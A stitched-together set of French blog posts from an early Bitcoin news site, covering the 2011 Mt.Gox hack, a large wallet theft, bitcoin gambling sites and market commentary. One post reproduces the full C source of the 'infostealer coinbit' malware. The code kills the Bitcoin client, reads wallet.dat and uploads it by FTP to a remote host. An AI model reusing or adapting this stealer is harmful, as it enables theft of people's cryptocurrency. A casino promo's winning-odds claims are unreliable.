• http://btcontilt.com/ : encore en phase beta, Btcontilt propose des tournois de poker (dont freerolls) réguliers pour les amateurs de hold’em.
• https://betco.in/ : table de poker que je n’ai pas pu essayer parce que c’était vide… Mais bon, faut bien en parler si on veut que ça se remplisse.
• https://moonco.in/ : basé sur du HTML5/JS, Mooncoin propose également de jouer au poker.

Si vous avez d’autres infos à ce sujet, n’hésitez pas à m’en faire part en commentaire.

C’est hier que la monnaie décentralisée a franchi un cap en traversant le plancher des 7 millions de bitcoins en circulation. Pas de changement au niveau de l’évolution du cours qui lui baisse de plus en plus, s’échangeant actuellement pour moins de $8 sur les places courantes.

Pour être plus clair, un attaquant a réussi à accéder puis modifier la base de donnée de la bourse n°1 du bitcoin et y changer le nombre de bitcoin disponible sur le marché. deux millions de faux bitcoins ont donc été ajoutés.

Cela ne remet pas du tout en cause, la fiabilité de la cryptographie utilisée dans le système. Il est important de préciser que ces faux bitcoins sont simplement le résultat d’un trucage du nombre de bitcoin disponibles à l’échange.

Dès lors cette arrivée massive de bitcoin a provoqué une chute du cours du bitcoin. Le système a immédiatement détecté ce changement brutal et la bourse a fermée pour prévenir de toute chute incontrôlée du cours.

Dans la foulée, précisons que 2000 bitcoins (des vrais cette fois) ont été volés.

Il est évident que le site Mtgox n’a pas été initialement pensé pour gérer une telle quantité d’argent (virtuel). Ce site attire les convoitises de beaucoup et il est primordial que le site se reconcentre sur la sécurité de son système d’information.

Évidemment cela concerne le frontal (site web), le backoffice, mais également les administrateurs qui se devraient d’être un peu plus sensibles à cela. Pour information, c’est une injection SQL qui est cette fois à l’origine de cette attaque.

</article>

Souvent il est arrivé que Mtgox (la première des place de marché du Bitcoin) soit down et que le site soit inaccessible quelques heures. Sans doute la concurrence et quelques coups de LOIC (Outil de DDOS).

Ce soir, par contre, c’est une réélle attaque visant la base de donnée et surtout les comptes qui abritait sans doute la plus grande réserve du monde de bitcoin. Mtgox a été hacké.

Il est possible de trouver sur le net cette base de donnée contenant tout les comptes des utilisateurs.Identifiants, emails et hash des mots de passe associés y sont disponibles. Ce sont exactement 61.019 comptes qui sont impactés.

Pour des raisons évidentes, nous décidons de ne pas fournir cette base sur le site.

message officiel

Un message provenant des administrateurs du site ont répondu le message suivant:

The bitcoin will be back to around 17.5$/BTC after we rollback all trades that have happened after the huge Bitcoin sale that happened on June 20th near 3:00am (JST).

Service should be back by June 20th 10:00am (JST, 01:00am GMT) with all the trades reversed and accounts available.

One account with a lot of coins was compromised and whoever stole it (using a HK based IP to login) first sold all the coins in there, to buy those again just after, and then tried to withdraw the coins. The $1000/day withdraw limit was active for this account and the hacker could only get out with $1000 worth of coins.

Apart from this no account was compromised, and nothing was lost. Due to the large impact this had on the Bitcoin market, we will rollback every trade which happened since the big sale, and ensure this account is secure before opening access again.

Il n’y aura pas de remboursement

La traduction rapide est la suivante, les points importants sont traduits:

• Le site est off depuis le 19/06 ~20h le devrait revenir en ligne le 20 dans la matinée.
• le bitcoin devrait retrouver sa valeur initiale (avant l’attaque), soit 17.5$/BTC
• un des wallet contenant le plus d’argent a été totallement vidé par une ip provenant de Honk Hong
• Seul 1000$ ont été volé « grâce » à une limite interne ne permettant que la vente de 1000$/jour.
• Les transactions AVANT le gros transfert seront rollback mais pas les autres.
• Il n’y aura pas de remboursement.
• Un projet d’assurance autour du bitcoin va voir le jour.

C’est un gros coup porté au bitcoin que de voir sa place de marché attaquée. Il faut donc rappeler que la sécurité informatique doit jouer un rôle ESSENTIEL dans le monde du bitcoin. Il s’agit de mettre de vrais experts sur ce genre de question.

La dernière phrase de l’administrateur est cependant « crééons on projet d’assurance contre cela ».

Idée de génie ? Fake ? Il faut y penser, cela peut faire un beau coup de pub pour un nouveau service. Plus d’info dans les heures à venir. n’hésitez pas à nous interpeller sur notre twitter bitcoin.

mtgox hack updates

22.20: Le cours du bitcoin a également chuté à 0.01$ mais c’est sans doute la conséquence de l’indexation des prix des concurrents sur mtgox.

22.25: Le thread avec la leak de la base de donnée à été fermé sur le forum de bitcoin.org.

22.26: Voilà l’adresse de paiement du voleur

http://blockexplorer.com/address/1KLahQtqDNAXvrjNyfvgSBtAhwco5ZxLp4

22.27: Image avec le crash du cours du bitcoin

22.32: Vidéo avec le bitcoin qui chute :

http://www.youtube.com/watch?v=T1X6qQt9ONg

22.44 : la base de donnée diffusée sur internet, les premières images

23:15 : Les mots de passe sont stockés en MD5 avec le sel (salt). Le MD5 est une fonction de hachage n’est plus considérée comme irréversible depuis plus de 5 ans. Il existe même des crackers en ligne de hashs …

LUNDI 20 juin

09.25: Le site mtgox est toujours fermé. Plus d’informations sont disponible sur la page officielle. Beaucoup de scams ont été envoyé courant de la nuit. Beaucoup de publicité pour Tradehill le concurrent direct de Mtgox (qui propose notamment un système d’affiliation, d’où le scam)

Mise en garde: Surtout ne téléchargez rien qui proviendrait de Mtgox.

LA traque

La commuanuté s’organise pour comprendre ce qui s’est passé, et un utilisateur du forum viens de récolter quelques informations :*

Ci-dessus la capture d’écran des informations trouvées. L’adresse du forum

http://forum.bitcoin.org/index.php?topic=19929

16.31: Le site annonce que le site sera remis en ligne demain matin, heure du japon. La page de recovery de compte subis quelques tests unitaire pour éviter toute surprise suite à une remise en ligne trop rapide.

Ce billet est un peu en retard, mais il a néanmoins l’honneur d’être publié, puisqu’il est question de la solution technique utilisé par le e-malfrat.

Donc oui, il a été confirmé que le vol est le résultat d’un programme malveillant. Beaucoup de site sur les malwares et les virus ont d’ailleurs annoncé cette  nouvelle courant de ce week-end. Vous retrouverez plus d’informations sur le site de symantec ou bien sophos. Ce ver, baptisé infostealer coinbit,  a donc été analysé par nos amis les reversers et voilà le code source associé de l’attaque.

// Coded by JuryBen
// Gimme coins
// 1LEXm6E4L9Ug9VNpkvXwJiZb61tspRiK7v

#include
#include
#include
#include
#include
#include
#pragma comment(lib, "wininet")

void killprocess()
	{    

		HANDLE hProcessSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0 );		// Get the process list snapshot.
		PROCESSENTRY32 ProcessEntry = { 0 };					// Initialize the process entry structure.
		ProcessEntry.dwSize = sizeof( ProcessEntry );			// Get the first process info
		BOOL Return = FALSE;
		Return = Process32First( hProcessSnapShot,&ProcessEntry );

		int value = _tcsicmp(ProcessEntry.szExeFile, _T("bitcoin.exe"));
		if (value==0)
			{
				HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, ProcessEntry.th32ProcessID); //Open Process to terminate
				TerminateProcess(hProcess,0);
				CloseHandle(hProcess); //Close Handle }

			}

	while( Process32Next( hProcessSnapShot, &ProcessEntry ));
	CloseHandle( hProcessSnapShot );
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{

	killprocess();
	Sleep(40000);
	srand((unsigned)time(NULL));			// we get time to use for random seed
	int seedone=rand();						// seed one
    int seedtwo=rand()*3;					// seed two times 3
	int seedboth = seedone + seedtwo;		// combine seeds to ensure random int
											// now we need to convert int to char
	char randomseed[99];					// make randomseed buffer at 99 to prevent overflow
    itoa(seedboth,randomseed,10);			// use itoa, [int (seedboth), randomseed (random is now seedboth but in char), value (10 coverts to decimal)
											// did this so the wallet.dat file wouldn't be overwritten in ftp because of same file name

	char* appdata = getenv("APPDATA");		//Gets %Appdata% path
	char* truepath = strcat(appdata, "\\Bitcoin\\wallet.dat");  //Bitcoin file to steal

	//ftp connection
	HINTERNET hInternet;
	HINTERNET hFtpSession;
	hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
	hFtpSession = InternetConnect(hInternet, "ftp.host.com", INTERNET_DEFAULT_FTP_PORT, "user@host.com", "bigdickben", INTERNET_SERVICE_FTP, 0, 0);  //ftp host, user, pass

	FtpPutFile(hFtpSession, truepath , randomseed , FTP_TRANSFER_TYPE_BINARY, 0);
	FtpPutFile(hFtpSession, truepath, randomseed, FTP_TRANSFER_TYPE_BINARY, 0);

	InternetCloseHandle(hFtpSession);
	InternetCloseHandle(hInternet);

	return 0;
}

Pourquoi Betcoin et pas un autre ? Tout simplement car Betcoin propose des jeux avec les pourcentages de chances les plus élevés du web.

Vous êtes radins ? 1Visitor/2 est fait pour vous, vous pouvez perdre au maximum 0.05 BTC et en gagner 0.5 !

Vous voulez être sur de gagner ? Instant Win est fait pour vous, vous gagnez 10x votre mise toutes les 11 mises, vous êtes surs à 90% de gagner (si le compteur est à 3, vous jouez 8 fois et vous obtenez 10x votre mise !)

Vous êtes joueur ? The Red Button est fait pour vous, vous appuyez dessus et 45% de chance de gagner 1 BTC.

Vous voulez devenir riche maintenant ? Jackpot ! est fait pour vous, si c’est votre jour de chance vous pouvez gagner 50 BTC avec une mise d’1 BTC !

Tous les jeux n’ont pas été cités ci dessus, de nouveaux sont en cours de développement !


Vous l’aurez compris, il y en a pour tout le monde !

Note: Pour le lancement, le site offre aux 15 premiers joueurs la possibilité de se faire rembourser s’ils perdent !

Source: babygeek

Cependant, le risque n’est pas réellement à cet endroit dixit Nils Schneider (un des développeurs de Bitcoin) : « Le marché ne peut gérer la vente de 25 000 Bitcoins en une seule fois » explique-t-il. La vraie valeur de la perte « serait plutôt de $300 000 et impliquerait que le prix baisse à autour de 10 $ (ndlr, lors de la rédaction de cet article, le cours du bitcoin avoisinait $16).

Est-ce juste moi, ou quelqu’un d’autre voit-il un problème avec cette déclaration ? Sincèrement, quel est l’intérêt que les fondateurs, des promoteurs et les plus grandes parties prenantes actuelles du Bitcoin a envie de laisser penser que quelqu’un tenant 25000 btc dans le système Bitcoin pourrait constamment manipuler le marché de BTC et conduire tout seul en bas la valeur de la monnaie par potentiellement 50%.

Voici une vision de la situation :
- La vente à découvert (« naked short selling »), c’est-à-dire la vente de quelque chose sans garantie est illégale – du moins sur les marchés réglés car ce mécanisme peut être utilisé pour manipuler des marchés d’écroulement et des prix.
- Le système Bitcoin, pour être viable comme un instrument, doit avoir une certaine façon de supporter le trading des produits dérivés.
- Une fois qu’il y a un marché de produits dérivés, je peux intentionnellement vendre à découvert des Bitcoins. Aucun organisme de régulation ne peut m’arrêter.

Donc, une situation pourrait se produire quand quelqu’un pourra parier sur l’écroulement de la monnaie Bitcoin et aussi simultanément (à cause de la petite taille de la provision de Bitcoin) saboter la valeur de cette monnaie. Ce serait une façon diabolique de se faire encore plus de l’argent !

source : Securitycurve

Fidèles lecteurs de bit-coin.fr, qu’en pensez-vous ?

Bitcoin est un système décentralisé, il n’y a pas d’autorité pour réguler les transactions, dès lors, on ne peut rien faire lorsque l’on perd son portefeuille. (Un peu comme dans la vie de tous les jours sauf quant on crois encore au père noël :p)

Les premières rumeurs ont parlé d’un piratage pur et dur, mais aux dernières nouvelles de ce matin, il s’agirait plutôt d’un malware qui aurait sévi.

On peut évidemment retracer les mouvement liés à cette perte de 25.000 Bitcoins (soit un demi million d’euros au cours  en vigueur hier) :

(Cliquez sur l’image pour le détail)

Malheureusement, notre cher allivain n’a absolument aucun recours quant à ce vol, à moins qu’il ne retrouve la ou les personnes qui sont responsables de cela.

Le pauvre est même accusé d’être à l’origine d’un mensonge alors même qu’il comptait sur cet argent pour ouvrir un business IRL sur les bitcoins. C’est dommage. La monnaie a vraiment besoin d’une transposition physique, mais c’est une autre histoire.

En tout cas, la fronde s’organise pour tenter de comprendre ce qu’il s’est passé. Pour le résumé de la situation, il a été présumé que allivain gérait un pool et que c’est par cette porte d’entrée que les auteurs sont passés. Pas de détails techniques malheureusement.

S’en est suivi une modification de l’adresse de versement des fees (taxes prises par le pool) vers les pirates. Et, de fil en aiguille, ils sont remontés jusqu’au précieux wallet.dat.

Deux conclusions à tirer de piratage:

• Ne jamais laisser beaucoup « d’argent » dans votre wallet.dat. Éclatez le en plusieurs portefeuilles
• Le bitcoin va connaitre ses premiers holdups numériques !

Tout ce qui touche au bitcoin sera susceptible d’être attaqué par des pirates informatiques. Beaucoup de personnes sont attirés par le projet bitcoin pour des raisons financières mais peu sont sensibilisés sur les problèmes liés à la sécurité informatique.

On ne parle pas ici d’antivirus, évidemment, mais à des problématiques de cryptographie, sauvegardes et architectures techniques. Soyez vigilants.

En tout cas, sachez que cette monnaie est désormais adoptée par wikileaks et lulzsec, le fameux groupe de pirates informatiques qui fait beaucoup parler de lui.

Note : Cet article sera mis à jour régulièrement.

Ce service n’utilise que les 7 premiers caractères d’une adresse bitcoin.

exemple : 1vjhAZza4iNKxvNfKfsHNoharRNcXrtZr // adresse de dons soit dit en passant ;)

Lorsque vous entrez une adresse bitcoin :

• elle est convertie en « lowercase »
• elle est comparée à toute les adresses qui apparaissent dans votre blockchain

le service vous renvoi ainsi le nombre de caractère suffisant pour avoir une adresse btc unique.

A vous de jouer : firstbits